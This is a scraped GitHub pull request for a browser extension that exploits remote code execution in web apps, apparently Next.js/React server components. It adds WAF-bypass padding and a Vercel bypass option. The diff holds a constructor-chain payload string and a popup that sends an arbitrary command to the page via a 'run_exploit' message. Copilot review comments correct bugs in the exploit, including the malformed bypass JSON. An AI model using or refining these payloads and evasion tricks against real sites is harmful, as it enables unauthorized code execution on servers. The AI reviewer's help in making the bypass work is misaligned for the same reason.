-
Notifications
You must be signed in to change notification settings - Fork 85
Add WAF bypass from assetnote #2
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change | ||||
|---|---|---|---|---|---|---|
| @@ -1,5 +1,18 @@ | ||||||
| // content.js | ||||||
|
|
||||||
| // 12字符[a-z0-9] | ||||||
| function shortRandString() { | ||||||
| return Math.random().toString(36).substring(2).padEnd(12, '0'); | ||||||
| } | ||||||
|
|
||||||
| // 随机的base64长字符串,长度为 bytes 字符 | ||||||
|
||||||
| // 随机的base64长字符串,长度为 bytes 字符 | |
| // 随机的base64长字符串,长度为 bytes 字节 |
Copilot
AI
Dec 7, 2025
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The longRandString function has an incorrect calculation for the buffer size. The formula (length * 3 + 2) / 4 is attempting to reverse the Base64 encoding ratio, but this will create a buffer that's too small. For a desired Base64 output of length characters, you need:
const buf = new Uint8Array(Math.ceil((length * 3) / 4));However, the current implementation will likely fail or produce incorrect lengths because the buffer is undersized.
| const buf = new Uint8Array((length * 3 + 2) / 4); // Base64 编码后长度是原来的 4/3 | |
| const buf = new Uint8Array(Math.ceil((length * 3) / 4)); // Base64 编码后长度是原来的 4/3 |
Copilot
AI
Dec 7, 2025
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The formData variable for the Vercel bypass case has incorrect JSON escaping. The value '"get":"$3:\"$$:constructor:constructor"}' will result in invalid JSON because the opening brace is missing. Should be:
const formData = bypassVercel ? '{"get":"$3:\\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}';| const formData = bypassVercel ? '"get":"$3:\\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}'; | |
| const formData = bypassVercel ? '{"get":"$3:\\"$$:constructor:constructor"}' : '{"get":"$1:constructor:constructor"}'; |
| Original file line number | Diff line number | Diff line change | ||||
|---|---|---|---|---|---|---|
|
|
@@ -25,8 +25,8 @@ | |||||
|
|
||||||
| /* 输入框与按钮 */ | ||||||
| .input-group { display: flex; margin-bottom: 8px; } | ||||||
| input[type="text"] { flex: 1; padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; } | ||||||
| input[type="text"]:focus { border-color: #3498db; } | ||||||
| td > input { padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; } | ||||||
|
||||||
| td > input { padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; } | |
| td > input[type="text"], td > input[type="number"] { padding: 6px; border: 1px solid #bdc3c7; border-radius: 4px 0 0 4px; font-family: monospace; font-size: 11px; outline: none; } |
Copilot
AI
Dec 7, 2025
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
[nitpick] Inline styles on structural elements reduce maintainability. The style="flex: 4" and style="flex: 1" attributes should be moved to CSS classes for better separation of concerns and maintainability.
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -7,9 +7,11 @@ document.addEventListener('DOMContentLoaded', () => { | |
| activeList: document.getElementById('active-list'), | ||
| btnExploit: document.getElementById('btnExploit'), | ||
| cmdInput: document.getElementById('cmdInput'), | ||
| padInput: document.getElementById('padInput'), | ||
| vercelInput: document.getElementById('vercelInput'), | ||
| exploitStatus: document.getElementById('exploit-status'), | ||
| exploitResult: document.getElementById('exploit-result'), | ||
| rceOutput: document.getElementById('rce-output') | ||
| rceOutput: document.getElementById('rce-output'), | ||
| }; | ||
|
|
||
| // 1. 获取当前 Tab | ||
|
|
@@ -69,13 +71,14 @@ document.addEventListener('DOMContentLoaded', () => { | |
|
|
||
| // --- 交互:RCE 利用 --- | ||
| el.btnExploit.addEventListener('click', () => { | ||
| const cmd = el.cmdInput.value || "whoami"; | ||
| el.btnExploit.disabled = true; | ||
| const cmd = el.cmdInput.value; | ||
| const pad = +(el.padInput.value) || 0; | ||
| const bypassVercel = el.vercelInput.checked; | ||
|
Comment on lines
+75
to
+76
|
||
| el.exploitStatus.style.display = 'block'; | ||
| el.exploitResult.style.display = 'none'; | ||
| el.rceOutput.className = 'console-out'; // 重置样式 | ||
|
|
||
| chrome.tabs.sendMessage(tabId, {action: "run_exploit", cmd: cmd}, (res) => { | ||
| chrome.tabs.sendMessage(tabId, {action: "run_exploit", cmd, pad, bypassVercel}, (res) => { | ||
| el.btnExploit.disabled = false; | ||
| el.exploitStatus.style.display = 'none'; | ||
| el.exploitResult.style.display = 'block'; | ||
|
|
||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The
shortRandStringfunction may not always return exactly 12 characters. TheMath.random().toString(36).substring(2)produces a variable-length string (typically 10-11 characters), andpadEnd(12, '0')only pads if it's shorter. However, if the random string is already 12+ characters (rare but possible), it won't be truncated. Consider adding.slice(0, 12)to ensure exactly 12 characters: